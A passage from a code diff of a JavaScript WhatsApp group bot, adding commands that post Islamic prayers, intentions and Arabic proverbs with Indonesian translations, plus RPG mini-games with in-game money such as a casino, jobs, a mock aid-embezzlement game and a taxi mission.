+ ] +} + let bacaan = JSON.stringify(bacaanshalat) + let json = JSON.parse(bacaan) + let data = json.result.map((v, i) => `${i + 1}. ${v.name}\n${v.arabic}\n${v.latin}\n*Artinya:*\n_"${v.terjemahan}"_`).join('\n\n') + let contoh = `*ใ€Œ Bacaan Shalat ใ€*\n\n` + replygcxeon(`${contoh} + ${data}`) +} +break +//=========================================\\ +case 'doaharian': { + let src = JSON.parse(fs.readFileSync('./database/doaharian.json', 'utf-8')) + let caption = src.map((v, i) => { + return ` +*${i + 1}.* ${v.title} + +โƒ Latin : +${v.latin} + +โƒ Arabic : +${v.arabic} + +โƒ Translate : +${v.translation} +`.trim() + }).join('\n\n') + replygcxeon(`${caption}`) + +} +break +//=========================================\\ +case 'assalamualaikum': +case 'assalamualaikum wr. wb.': +case 'assalamualaikum wr wb': { + let caption = `*Waalaikummussalam warahmatullahi wabarokatuh* + + +_๐Ÿ“š Baca yang dibawah ya!_ +"Orang yang mengucapkan salam seperti ini maka ia mendapatkan 30 pahala, kemudian, orang yang dihadapan atau mendengarnya membalas dengan kalimat yang sama yaitu โ€œWa'alaikum salam warahmatullahi wabarakatuhโ€ atau ditambah dengan yang lain (waridhwaana). Artinya selain daripada do'a selamat juga meminta pada Allah SWT" +/`.trim() + replygcxeon(`${caption}`) +} +break +//=========================================\\ +case 'niatsholat': { + if (!q) return replygcxeon(`Contoh Penggunaan :\nniatsholat Subuh`) +const niatsholat = [ + { + index: 1, + solat: "subuh", + latin: "Ushalli fardhosh shubhi rok'ataini mustaqbilal qiblati adaa-an lillaahi ta'aala", + arabic: "ุงูุตูŽู„ู‘ูู‰ ููŽุฑู’ุถูŽ ุงู„ุตู‘ูุจู’ุญู ุฑูŽูƒู’ุนูŽุชูŽูŠู’ู†ู ู…ูุณู’ุชูŽู‚ู’ุจูู„ูŽ ุงู„ู’ู‚ูุจู’ู„ูŽุฉู ุงูŽุฏูŽุงุกู‹ ูู„ู„ู‡ู ุชูŽุนูŽุงู„ูŽู‰", + translation_id: "Aku berniat shalat fardhu Shubuh dua raka'at menghadap kiblat karena Allah Ta'ala", + }, + { + index: 2, + solat: "maghrib", + latin: "Ushalli fardhol maghribi tsalaata raka'aatim mustaqbilal qiblati adaa-an lillaahi ta'aala", + arabic: "ุงูุตูŽู„ู‘ูู‰ ููŽุฑู’ุถูŽ ุงู„ู’ู…ูŽุบู’ุฑูุจู ุซูŽู„ุงูŽุซูŽ ุฑูŽูƒูŽุนูŽุงุชู ู…ูุณู’ุชูŽู‚ู’ุจูู„ูŽ ุงู„ู’ู‚ูุจู’ู„ูŽุฉู ุงูŽุฏูŽุงุกู‹ ูู„ู„ู‡ู ุชูŽุนูŽุงู„ูŽู‰", + translation_id: "Aku berniat shalat fardhu Maghrib tiga raka'at menghadap kiblat karena Allah Ta'ala", + }, + { + index: 3, + solat: "dzuhur", + latin: "Ushalli fardhodl dhuhri arba'a raka'aatim mustaqbilal qiblati adaa-an lillaahi ta'aala", + arabic: "ุงูุตูŽู„ู‘ูู‰ ููŽุฑู’ุถูŽ ุงู„ุธู‘ูู‡ู’ุฑูุงูŽุฑู’ุจูŽุนูŽ ุฑูŽูƒูŽุนูŽุงุชู ู…ูุณู’ุชูŽู‚ู’ุจูู„ูŽ ุงู„ู’ู‚ูุจู’ู„ูŽุฉู ุงูŽุฏูŽุงุกู‹ ูู„ู„ู‡ู ุชูŽุนูŽุงู„ูŽู‰", + translation_id: "Aku berniat shalat fardhu Dzuhur empat raka'at menghadap kiblat karena Allah Ta'ala", + }, + { + index: 4, + solat: "isha", + latin: "Ushalli fardhol 'isyaa-i arba'a raka'aatim mustaqbilal qiblati adaa-an lillaahi ta'aala", + arabic: "ุตูŽู„ู‘ูู‰ ููŽุฑู’ุถูŽ ุงู„ู’ุนูุดูŽุงุกู ุงูŽุฑู’ุจูŽุนูŽ ุฑูŽูƒูŽุนูŽุงุชู ู…ูุณู’ุชูŽู‚ู’ุจูู„ูŽ ุงู„ู’ู‚ูุจู’ู„ูŽุฉู ุงูŽุฏูŽุงุกู‹ ูู„ู„ู‡ู ุชูŽุนูŽุงู„ูŽู‰", + translation_id: "Aku berniat shalat fardhu Isya empat raka'at menghadap kiblat karena Allah Ta'ala", + }, + { + index: 5, + solat: "ashar", + latin: "Ushalli fardhol 'ashri arba'a raka'aatim mustaqbilal qiblati adaa-an lillaahi ta'aala", + arabic: "ุตูŽู„ู‘ูู‰ ููŽุฑู’ุถูŽ ุงู„ู’ุนูŽุตู’ุฑูุงูŽุฑู’ุจูŽุนูŽ ุฑูŽูƒูŽุนูŽุงุชู ู…ูุณู’ุชูŽู‚ู’ุจูู„ูŽ ุงู„ู’ู‚ูุจู’ู„ูŽุฉู ุงูŽุฏูŽุงุกู‹ ูู„ู„ู‡ู ุชูŽุนูŽุงู„ูŽู‰", + translation_id: "Aku berniat shalat fardhu 'Ashar empat raka'at menghadap kiblat karena Allah Ta'ala", + } +] + let text = q.toLowerCase() || '' + let data = Object.values(niatsholat).find(v => v.solat == text) + if (!data) return replygcxeon(`${txt} Tidak Ditemukan\n\nList Solat 5 Waktu :\nโ€ข Subuh\nโ€ข Maghrib\nโ€ข Dzuhur\nโ€ข Isha\nโ€ข Ashar`) + replygcxeon(` +_*Niat Sholat ${text}*_ + +*Arab :* ${data.arabic} + +*Latin :* ${data.latin} + +*Translate :* ${data.translation_id}`.trim()) +} + +break +//=========================================\\ +case 'quotesislami': { +const islami = [ + { + "id": "1", + "arabic": "ู…ูŽู†ู’ ุณูŽุงุฑูŽ ุนูŽู„ู‰ูŽ ุงู„ุฏูŽู‘ุฑู’ุจู ูˆูŽุตูŽู„ูŽ", + "arti": "Barang siapa berjalan pada jalannya, maka dia akan sampai (pada tujuannya)." + }, + { + "id": "2", + "arabic": "ู…ูŽู†ู’ ุตูŽุจูŽุฑูŽ ุธูŽููุฑูŽ", + "arti": "Barang siapa bersabar, maka dia akan beruntung." + }, + { + "id": "3", + "arabic": "ู…ูŽู†ู’ ุฌูŽุฏูŽู‘ ูˆูŽุฌูŽู€ุฏูŽ", + "arti": "Barang siapa bersungguh-sungguh, maka dia akan meraih (kesuksesan)." + }, + { + "id": "4", + "arabic": "ุฌูŽุงู„ูุณู’ ุฃูŽู‡ู’ู„ูŽ ุงู„ุตูู‘ุฏู’ู‚ู ูˆูŽุงู„ูˆูŽููŽุงุกู", + "arti": "Bergaulah bersama orang-orang yang jujur dan menepati janji." + }, + { + "id": "5", + "arabic": "ู…ูŽู†ู’ ู‚ูŽู„ูŽู‘ ุตูุฏู’ู‚ูู‡ู ู‚ูŽู„ูŽู‘ ุตูŽุฏููŠู’ู‚ูู‡ู", + "arti": "Barang siapa sedikit kejujurannya, maka sedikit pulalah temannya." + }, + { + "id": 6, + "arabic": "ู…ูŽูˆูŽุฏูŽู‘ุฉู ุงู„ุตูŽู‘ุฏููŠู’ู‚ู ุชูŽุธู’ู‡ูŽุฑู ูˆูŽู‚ู’ุชูŽ ุงู„ุถูู‘ูŠู’ู‚ู", + "arti": "Kecintaan seorang teman itu akan terlihat pada waktu kesempitan." + }, + { + "id": "7", + "arabic": "ุงู„ุตูŽู‘ุจู’ุฑู ูŠูุนููŠู’ู†ู ุนูŽู„ูŽู‰ ูƒูู„ูู‘ ุนูŽู…ูŽู„ู", + "arti": "Kesabaran akan menolong segala pekerjaan." + }, + { + "id": "8", + "arabic": "ูˆูŽู…ูŽุง ุงู„ู„ูŽู‘ุฐูŽู‘ุฉู ุฅูู„ุงูŽู‘ ุจูŽุนู’ุฏูŽ ุงู„ุชูŽู‘ุนูŽุจู", + "arti": "Tidak ada kenikmatan kecuali setelah kepayahan." + }, + { + "id": "9", + "arabic": "ุฌูŽุฑูู‘ุจู’ ูˆูŽู„ุงูŽุญูุธู’ ุชูŽูƒูู†ู’ ุนูŽุงุฑููู‹ุง", + "arti": "Coba dan perhatikanlah, maka engkau akan menjadi orang yang tahu." + }, + { + "id": "10", + "arabic": "ุจูŽูŠู’ุถูŽุฉู ุงู„ูŠูŽูˆู’ู…ู ุฎูŽูŠู’ุฑูŒ ู…ูู†ู’ ุฏูŽุฌูŽุงุฌูŽุฉู ุงู„ุบูŽุฏู", + "arti": "Telur hari ini lebih baik daripada ayam esok hari." + }, + { + "id": "11", + "arabic": "ุฃูุทู’ู„ูุจู ุงู„ู’ุนูู„ู’ู…ูŽ ู…ูู†ูŽ ุงู„ู’ู…ูŽู‡ู’ุฏู ุฅูู„ูŽู‰ ุงู„ูŽู‘ู„ุญู’ุฏู", + "arti": "Carilah ilmu sejak dari buaian hingga liang lahat." + }, + { + "id": "12", + "arabic": "ุงู„ูˆูŽู‚ู’ุชู ุฃูŽุซู’ู…ูŽู†ู ู…ูู†ูŽ ุงู„ุฐูŽู‘ู‡ูŽุจู", + "arti": "Waktu itu lebih berharga daripada emas." + }, + { + "id": "13", + "arabic": "ู„ุงูŽ ุฎูŽูŠู’ุฑูŽ ููŠู ู„ูŽุฐูŽู‘ุฉู ุชูŽุนู’ู‚ูุจู ู†ูŽุฏูŽู…ุงู‹", + "arti": "Tak ada kebaikan bagi kenikmatan yang diiringi dengan penyesalan." + }, + { + "id": "14", + "arabic": "ุฃูŽุฎููŠ ู„ูŽู†ู’ ุชูŽู†ูŽุงู„ูŽ ุงู„ุนูู„ู’ู…ูŽ ุฅูู„ุงูŽู‘ ุจูุณูุชูŽู‘ุฉู ุณูŽุฃูู†ู’ุจููŠู’ูƒูŽ ุนูŽู†ู’ ุชูŽูู’ุตููŠู’ู„ูู‡ูŽุง ุจูุจูŽูŠูŽุงู†ู: ุฐูŽูƒูŽุงุกูŒ ูˆูŽุญูุฑู’ุตูŒ ูˆูŽุงุฌู’ุชูู‡ูŽุงุฏูŒ ูˆูŽุฏูุฑู’ู‡ูŽู…ูŒ ูˆูŽุตูุญู’ุจูŽุฉู ุฃูุณู’ุชูŽุงุฐู ูˆูŽุทููˆู’ู„ู ุฒูŽู…ูŽุงู†ู", + "arti": "Wahai saudaraku, Kamu tidak akan memperoleh ilmu kecuali dengan enam perkara, akan aku sampaikan rinciannya dengan jelas; 1) Kecerdasan, 2) Ketamaan (terhadap ilmu), 3) Kesungguhan, 4) Harta benda (sebagai bekal), 5) Bergaul dengan guru, 6) Waktu yang lama." + }, + { + "id": "15", + "arabic": "ู„ุงูŽ ุชูŽูƒูู†ู’ ุฑูŽุทู’ุจุงู‹ ููŽุชูุนู’ุตูŽุฑูŽ ูˆูŽู„ุงูŽ ูŠูŽุงุจูุณู‹ุง ููŽุชููƒูŽุณูŽู‘ุฑูŽ", + "arti": "Janganlah kamu bersikap lemah, sehingga kamu mudah diperas. Dan janganlah kamu bersikap keras, sehingga kamu mudah dipatahkan." + }, + { + "id": "16", + "arabic": "ู„ููƒูู„ูู‘ ู…ูŽู‚ูŽุงู…ู ู…ูŽู‚ูŽุงู„ูŒ ูˆูŽู„ููƒูู„ูู‘ ู…ูŽู‚ูŽุงู„ู ู…ูŽู‚ูŽุงู…ูŒ", + "arti": "Setiap tempat memiliki perkataannya masing-masing, dan setiap perkataan memiliki tempatnya masing-masing." + },{ + "id": "17", + "arabic": "ุฎูŽูŠู’ุฑู ุงู„ู†ูŽู‘ุงุณู ุฃูŽุญู’ุณูŽู†ูู‡ูู…ู’ ุฎูู„ูู‚ุงู‹ ูˆูŽุฃูŽู†ู’ููŽุนูู‡ูู…ู’ ู„ูู„ู†ูŽู‘ุงุณู", + "arti": "Sebaik-baik manusia adalah yang paling baik budi pekertinya dan yang paling bermanfaat bagi manusia lainnya." + }, + { + "id": "18", + "arabic": "ุฎูŽูŠู’ุฑู ุฌูŽู„ููŠู’ุณู ููŠ ุงู„ุฒู‘ู…ุงู†ู ูƒูุชุงุจู", + "arti": "Sebaik-baik teman duduk di setiap waktu adalah buku." + }, + { + "id": "19", + "arabic": "ู…ูŽู†ู’ ูŠูŽุฒู’ุฑูŽุนู’ ูŠูŽุญู’ุตูุฏู’", + "arti": "Barang siapa menanam, pasti ia akan memetik (mengetam)." + }, + { + "id": "20", + "arabic": "ู„ูŽูˆู’ู„ุงูŽ ุงู„ุนูู„ู’ู…ู ู„ูŽูƒูŽุงู†ูŽ ุงู„ู†ูŽู‘ุงุณู ูƒูŽุงู„ุจูŽู‡ูŽุงุฆูู…ู", + "arti": "Kalaulah tidak karena ilmu, niscaya manusia itu seperti binatang." + }, + { + "id": "21", + "arabic": "ุณูŽู„ุงูŽู…ูŽุฉู ุงู„ุฅูู†ู’ุณูŽุงู†ู ููŠู ุญููู’ุธู ุงู„ู„ูู‘ุณูŽุงู†ู", + "arti": "Keselamatan manusia itu terletak pada penjagaan lidahnya (perkataannya)." + }, + { + "id": "22", + "arabic": "ุงู„ุฑูู‘ูู’ู‚ู ุจูุงู„ุถูŽู‘ุนููŠู’ูู ู…ูู†ู’ ุฎูู„ูู‚ู ุงู„ุดูŽู‘ุฑููŠู’ูู", + "arti": "Berlaku lemah lembut kepada orang yang lemah itu termasuk akhlak orang yang mulia (terhormat)." + }, + { + "id": "23", + "arabic": "ูˆูŽุนูŽุงู…ูู„ู ุงู„ู†ูŽู‘ุงุณูŽ ุจูู…ูŽุง ุชูุญูุจูู‘ ู…ูู†ู’ู‡ู ุฏูŽุงุฆูู…ุงู‹", + "arti": "Dan bergaullah dengan manusia dengan sikap yang kamu juga suka diperlakukan seperti itu." + }, + { + "id": "24", + "arabic": "ู„ูŽูŠู’ุณูŽ ุงู„ุฌูŽู…ูŽุงู„ู ุจูุฃูŽุซู’ูˆูŽุงุจู ุชูุฒูŽูŠูู‘ู†ูู†ูุง ุฅูู†ูŽู‘ ุงู„ุฌูŽู…ูŽุงู„ูŽ ุฌู…ูŽุงูŽู„ู ุงู„ุนูู„ู’ู…ู ูˆูŽุงู„ุฃูŽุฏูŽุจู", + "arti": "Kecantikan bukanlah dengan pakaian yang melekat menghiasi diri kita, sesungguhnya kecantikan ialah kecantikan dengan ilmu dan budi pekerti." + }, + { + "id": "25", + "arabic": "ู…ูŽู†ู’ ุฃูŽุนุงูŽู†ูŽูƒูŽ ุนูŽู„ู‰ูŽ ุงู„ุดูŽู‘ุฑูู‘ ุธูŽู„ูŽู…ูŽูƒูŽ", + "arti": "Barang siapa membantumu dalam kejahatan, maka sesungguhnya ia telah berbuat aniaya terhadapmu." + } +] + const randomIndex = Math.floor(Math.random() * islami.length); +const randomQuote = islami[randomIndex]; +const { arabic, arti } = randomQuote; + replygcxeon(`${arabic}\n${arti}`) +} +break +//=========================================\\ +case 'doatahlil': { + let { result } = JSON.parse(fs.readFileSync('./database/tahlil.json', 'utf-8')) + let caption = result.map((v, i) => { + return ` +*${i + 1}.* ${v.title} + +โƒ Arabic : +${v.arabic} + +โƒ Translate : +${v.translation} +`.trim() + }).join('\n\n') + replygcxeon(`${caption}`) +} +break +//=========================================\\ +case 'nebang': { + if (!m.isGroup) return reply(mess.only.group) + function msToTime(duration) { + var milliseconds = parseInt((duration % 1000) / 100), + seconds = Math.floor((duration / 1000) % 60), + minutes = Math.floor((duration / (1000 * 60)) % 60), + hours = Math.floor((duration / (1000 * 60 * 60)) % 24) + + hours = (hours < 10) ? "0" + hours : hours + minutes = (minutes < 10) ? "0" + minutes : minutes + seconds = (seconds < 10) ? "0" + seconds : seconds + + return hours + " jam " + minutes + " menit " + seconds + " detik" +} + let user = global.db.users[m.sender] + let time = user.lastparming + 1800000 + if (new Date - user.lastparming < 1800000) return replygcxeon(`Anda sudah lelah untuk bekerja\nTunggu selama ${msToTime(time - new Date())} lagi`) + let wood = `${Math.floor(Math.random() * 50)}`.trim() + let money = `${Math.floor(Math.random() * 50000)}`.trim() + user.wood += wood * 1 + user.money += money * 1 + user.lastparming = new Date * 1 + replygcxeon(`Selamat kamu mendapatkan : \n+${wood} Kayu\n+${money} Money`) +} +break +//=========================================\\ +case 'casino': { + if (!m.isGroup) return reply(mess.only.group) +function pickRandom(list) { + return list[Math.floor(Math.random() * list.length)] +} +let buatall = 1 + XeonBotInc.casino = XeonBotInc.casino ? XeonBotInc.casino : {} + if (m.chat in XeonBotInc.casino) return reply ('Masih ada yang melakukan casino disini, tunggu sampai selesai!!') + else XeonBotInc.casino[m.chat] = true + try { + let randomaku = `${Math.floor(Math.random() * 101)}`.trim() + let randomkamu = `${Math.floor(Math.random() * 81)}`.trim() //hehe Biar Susah Menang :v + let Aku = (randomaku * 1) + let Kamu = (randomkamu * 1) + let count = args[0] + count = count ? /all/i.test(count) ? Math.floor(global.db.users[m.sender].exp / buatall) : parseInt(count) : args[0] ? parseInt(args[0]) : 1 + count = Math.max(1, count) + if (args.length < 1) return reply('casino \n ' + 'casino 1000', ) + if (global.db.users[m.sender].exp >= count * 1) { + global.db.users[m.sender].exp -= count * 1 + //await reply('') //Kwkwwkkwlwlw + if (Aku > Kamu) { + reply(`๐Ÿ’ฐ Casino ๐Ÿ’ฐ\n*Kamu:* ${Kamu} Point\n*Computer:* ${Aku} Point\n\n*You LOSE*\nKamu kehilangan ${count} Uang(xp)`) + } else if (Aku < Kamu) { + global.db.users[m.sender].exp += count * 2 + reply(`๐Ÿ’ฐ Casino ๐Ÿ’ฐ\n*Kamu:* ${Kamu} Point\n*Computer:* ${Aku} Point\n\n*You Win*\nKamu mendapatkan ${count * 2} Uang(xp)`) + } else { + global.db.users[m.sender].exp += count * 1 + reply(`๐Ÿ’ฐ Casino ๐Ÿ’ฐ\n*Kamu:* ${Kamu} Point\n*Computer:* ${Aku} Point\n\n*SERI*\nKamu mendapatkan ${count * 1} Uang(xp)`) + } + } else reply(`Uang(xp) kamu tidak mencukupi untuk Casino silahkan *#kerja* terlebih dahulu!`) + } catch (e) { + console.log(e) + reply('Error!!') + if (DevMode) { + for (let jid of global.owner.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != XeonBotInc.user.jid)) { + XeonBotInc.sendMessage(jid, 'casino.js error\nNo: *' + m.sender.split`@`[0] + '*\nCommand: *' + m.text + '*\n\n*' + e + '*', MessageType.text) + } + } + } finally { + delete XeonBotInc.casino[m.chat] + } +} +break +//=========================================\\ +case 'kerja': +case 'bekerja': { + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') +} + let type = (args[0] || '').toLowerCase() + let users = global.db.users[m.sender] + let time = users.lastkerja + 30000 + let __timers = (new Date - users.lastkerja) + let _timers = (1000 - __timers) + let timers = clockString(_timers) + + let penumpan = ['mas mas', 'bapak bapak', 'cewe sma', 'bocil epep', 'emak emak'] + let penumpang = penumpan[Math.floor(Math.random() * penumpan.length)] + + let daganga = ['wortel', 'sawi', 'selada', 'tomat', 'seledri', 'cabai', 'daging', 'ikan', 'ayam'] + let dagangan = daganga[Math.floor(Math.random() * daganga.length)] + + let pasie = ['sakit kepala', 'cedera', 'luka bakar', 'patah tulang'] + let pasien = pasie[Math.floor(Math.random() * pasie.length)] + + let pane = ['Wortel', 'Kubis', 'stowbery', 'teh', 'padi', 'jeruk', 'pisang', 'semangka', 'durian', 'rambutan'] + let panen = pane[Math.floor(Math.random() * pane.length)] + + let bengke = ['mobil', 'motor', 'becak', 'bajai', 'bus', 'angkot', 'becak', 'sepeda'] + let bengkel = bengke[Math.floor(Math.random() * bengke.length)] + + let ruma = ['Membangun Rumah', 'Membangun Gedung', 'Memperbaiki Rumah', 'Memperbaiki Gedung', 'Membangun Fasilitas Umum', 'Memperbaiki Fasilitas Umum'] + let rumah = ruma[Math.floor(Math.random() * ruma.length)] + + if (/kerja/i.test(command)) { + switch (type) { + case 'ojek': +if (new Date - users.lastkerja < 300000) return replygcxeon(`Kamu sudah bekerja\nSaatnya istirahat selama ${clockString(time - new Date())}`) +let hasilojek = `${Math.floor(Math.random() * 150000)}`.trim() +users.money += hasilojek * 1 + users.lastparming = new Date * 1 +replygcxeon(`Kamu Sudah Mengantarkan *${penumpang}* ๐Ÿš—\nDan mendapatkan uang senilai *Rp ${hasilojek} ${global.rpg.emoticon('money')}*`) +break + case 'pedagang': +if (new Date - users.lastkerja < 300000) return replygcxeon(`Kamu sudah bekerja,Saatnya istirahat selama\n๐Ÿ•œ ${clockString(time - new Date())}`) +let hasildagang = `${Math.floor(Math.random() * 150000)}`.trim() +users.money += hasildagang * 1 + users.lastparming = new Date * 1 +replygcxeon(`Ada pembeli yg membeli *${dagangan}* ๐Ÿ›’\nDan mendapatkan uang senilai *Rp ${hasildagang} ${global.rpg.emoticon('money')}*`) +break + case 'dokter': +if (new Date - users.lastkerja < 300000) return replygcxeon(`Kamu sudah bekerja,Saatnya istirahat selama\n๐Ÿ•œ ${clockString(time - new Date())}`) +let hasildokter = `${Math.floor(Math.random() * 150000)}`.trim() +users.money += hasildokter * 1 + users.lastparming = new Date * 1 +replygcxeon(`Kamu menyembuhkan pasien *${pasien}* ๐Ÿ’‰\nDan mendapatkan uang senilai *Rp ${hasildokter}* ${global.rpg.emoticon('money')}`) +break + case 'petani': +if (new Date - users.lastkerja < 300000) return replygcxeon(`Kamu sudah bekerja,Saatnya istirahat selama\n๐Ÿ•œ ${clockString(time - new Date())}`) +let hasiltani = `${Math.floor(Math.random() * 150000)}`.trim() +users.money += hasiltani * 1 + users.lastparming = new Date * 1 +replygcxeon(`${panen} Sudah Panen !๐ŸŒฝ Dan menjualnya ๐Ÿงบ\nDan mendapatkan uang senilai Rp *${hasiltani} ${global.rpg.emoticon('money')}*`) +break + case 'montir': +if (new Date - users.lastkerja < 300000) return replygcxeon(`Kamu sudah bekerja,Saatnya istirahat selama\n๐Ÿ•œ ${clockString(time - new Date())}`) +let hasilmontir = `${Math.floor(Math.random() * 150000)}`.trim() +users.money += hasilmontir * 1 + users.lastparming = new Date * 1 +replygcxeon(`Kamu Baru saja mendapatkan pelanggan dan memperbaiki *${bengkel} ๐Ÿ”ง*\nDan kamu mendapatkan uang senilai *Rp ${hasilmontir}* ${global.rpg.emoticon('money')}`) +break + case 'kuli': +if (new Date - users.lastkerja < 300000) return replygcxeon(`Kamu sudah bekerja,Saatnya istirahat selama\n๐Ÿ•œ ${clockString(time - new Date())}`) +let hasilkuli = `${Math.floor(Math.random() * 150000)}`.trim() +users.money += hasilkuli * 1 + users.lastparming = new Date * 1 +replygcxeon(`Kamu baru saja selesai ${rumah} ๐Ÿ”จ\nDan mendapatkan uang senilai *Rp ${hasilkuli} ${global.rpg.emoticon('money')}*`) +break + default: +return replygcxeon(`_*Pilih Pekerjaan Yang Kamu Inginkan*_\n\n_โ€ข Kuli_ \n_โ€ข Montir_ \n_โ€ข Petani_ \n_โ€ข Dokter_ \n_โ€ข Pedagang_ \n_โ€ข Ojek_ \n\nContoh Penggunaan :\nkerja Kuli`) + } + } +} +break +//=========================================\\ + case 'bankcek': { + if (!m.isGroup) return reply(mess.only.group) + let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0]: m.fromMe ? XeonBotInc.user.jid: m.sender + if (!(who in global.db.users)) return m.reply(`User ${who} not in database`) + let user = global.db.users[who] + let isMods = global.owner.filter(([number, _, isDeveloper]) => number && isDeveloper).map(([number]) => number).map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(who) + let isOwner = m.fromMe || isMods || [XeonBotInc.decodeJid(XeonBotInc.user.id), ...global.owner.filter(([number, _, isOwner]) => number && !isOwner).map(([number]) => number)].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(who) + let isPrems = isOwner || new Date() - user.premiumTime < 0 + let caption = ` +โ–งใ€Œ *BANK CEK* ใ€ +โ”‚ ๐Ÿ‘ค Name: ${user.registered ? user.name: XeonBotInc.getName(m.sender)} +โ”‚ ${global.rpg.emoticon('atm')} Atm: ${user.atm > 0 ? 'Level ' + user.atm: 'โœ–๏ธ'} +โ”‚ ${global.rpg.emoticon('bank')} Bank: ${user.bank} / ${user.fullatm} +โ”‚ ${global.rpg.emoticon('money')} Money: ${user.money} +โ”‚ ${global.rpg.emoticon('chip')} Chip: ${user.chip} +โ”‚ ๐Ÿค– Robo: ${user.robo > 0 ? 'Level ' + user.robo: 'โœ–๏ธ'} +โ”‚ ๐ŸŒŸ Status: ${isMods ? 'Developer' : isOwner ? 'Owner' : isPrem ? 'Premium User โœ…' : user.level > 999 ? 'Elite User' : 'Free User'} +โ”‚ ๐Ÿ“‘ Registered: ${user.registered ? 'Yes': 'No'} +โ””โ”€โ”€โ”€โ”€ยทยทยท +`.trim() + replygcxeon(`${caption}`) +} +break +//=========================================\\ +case 'bansos': { + if (!m.isGroup) return reply(mess.only.group) + function pickRandom(list) { + return list[Math.floor(Math.random() * list.length)]; + } + + function clockString(ms) { + let h = Math.floor(ms / 3600000); + let m = Math.floor(ms / 60000) % 60; + let s = Math.floor(ms / 1000) % 60; + return [h, m, s].map(v => v.toString().padStart(2, '0')).join(':'); + } + + let user = global.db.users[m.sender]; + let randomaku = Math.floor(Math.random() * 101); + let randomkamu = Math.floor(Math.random() * 101); + let __timers = new Date() - user.lastbansos; + let _timers = 360 - __timers; + let timers = clockString(_timers); + + if (user.money < 1000) { + return replygcxeon(`Uang Anda Harus Diatas Seribu Untuk Menggunakan Command Ini`); + } + + if (new Date() - user.lastbansos > 300000) { + if (randomaku > randomkamu) { + user.money -= 3000000; + user.lastbansos = new Date() * 1; + return XeonBotInc.sendMessage(m.chat, { + image: { url: 'https://telegra.ph/file/afcf9a7f4e713591080b5.jpg' }, + caption: `Kamu Tertangkap Setelah Kamu korupsi dana bansos๐Ÿ•ด๏ธ๐Ÿ’ฐ, Dan Kamu harus membayar denda 3 Juta rupiah๐Ÿ’ต` + }); + } else if (randomaku < randomkamu) { + user.money += 3000000; + user.lastbansos = new Date() * 1; + return XeonBotInc.sendMessage(m.chat, { + image: { url: 'https://telegra.ph/file/d31fcc46b09ce7bf236a7.jpg' }, + caption: `Kamu berhasil korupsi dana bansos๐Ÿ•ด๏ธ๐Ÿ’ฐ, Dan Kamu mendapatkan 3 Juta rupiah๐Ÿ’ต` + }); + } else { + user.lastbansos = new Date() * 1; + return replygcxeon(`Sorry Gan Lu g Berhasil Korupsi bansos Dan Tidak masuk penjara karna Kamu *melarikan diri๐Ÿƒ*`); + } + } else { + return replygcxeon(`Silahkan Menunggu Beberapa Menit Untuk bansos Lagi`); + } +} +break; + +//=========================================\\ +case 'taxy': { + if (!m.isGroup) return reply(mess.only.group) + function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastmisi) + let _timers = (3600000 - __timers) + let order = global.db.users[m.sender].ojekk + let timers = clockString(_timers) + let name = XeonBotInc.getName(m.sender) + let user = global.db.users[m.sender] + let id = m.sender + let kerja = 'Taxy' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi : {} + if (id in XeonBotInc.misi) { + replygcxeon(`Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + throw false + } + if (new Date - user.lastmisi > 3600000) { + let randomaku1 = Math.floor(Math.random() * 1000000) + let randomaku2 = Math.floor(Math.random() * 10000) + + var dimas = ` +๐Ÿšถโฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +โฌ›โฌœโฌœโฌœโฌ›โฌœโฌœโฌœโฌ›โฌ› +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐ŸŒณ ๐ŸŒณ ๐Ÿ˜๏ธ ๐Ÿš• + + +โœ”๏ธ Mendapatkan orderan.... +`.trim() + + var dimas2 = ` +๐Ÿšถโฌ›โฌ›โฌ›โฌ›โฌ›๐Ÿšโฌ›โฌ›โฌ›๐Ÿš“๐Ÿšš +๐Ÿš–โฌœโฌœโฌœโฌ›โฌœโฌœโฌœ๐Ÿš“โฌ›๐Ÿš‘ +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›๐Ÿš™ +๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿข๏ธ๐ŸŒณ ๐ŸŒณ ๐Ÿ˜๏ธ ๐Ÿ˜๏ธ๐Ÿก + + +๐Ÿš– Mengantar Ke tujuan..... +`.trim() + + var dimas3 = ` +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›๐Ÿš“ +โฌ›โฌœ๐Ÿš—โฌœโฌœโฌ›โฌœ๐Ÿšโฌœโฌœโฌ›๐Ÿš™๐Ÿšš๐Ÿš‘ +โฌ›โฌ›โฌ›โฌ›๐Ÿš’โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›๐Ÿšš +๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐ŸŒณ ๐ŸŒณ ๐Ÿ˜๏ธ + + +๐Ÿš– Selesai Mengantar Pelanggan.... +`.trim() + + var dimas4 = ` +โž• ๐Ÿ’นMenerima gaji.... +`.trim() + + var hsl = ` +*โ€”[ Hasil Taxy ${name} ]โ€”* +โž• ๐Ÿ’น Uang = [ ${randomaku1} ] +โž• โœจ Exp = [ ${randomaku2} ] +โž• ๐Ÿ˜ Order Selesai = +1 +โž• ๐Ÿ“ฅTotal Order Sebelumnya : ${order} +`.trim() + + user.money += randomaku1 + user.exp += randomaku2 + user.ojekk += 1 + + XeonBotInc.misi[id] = [ + kerja, + 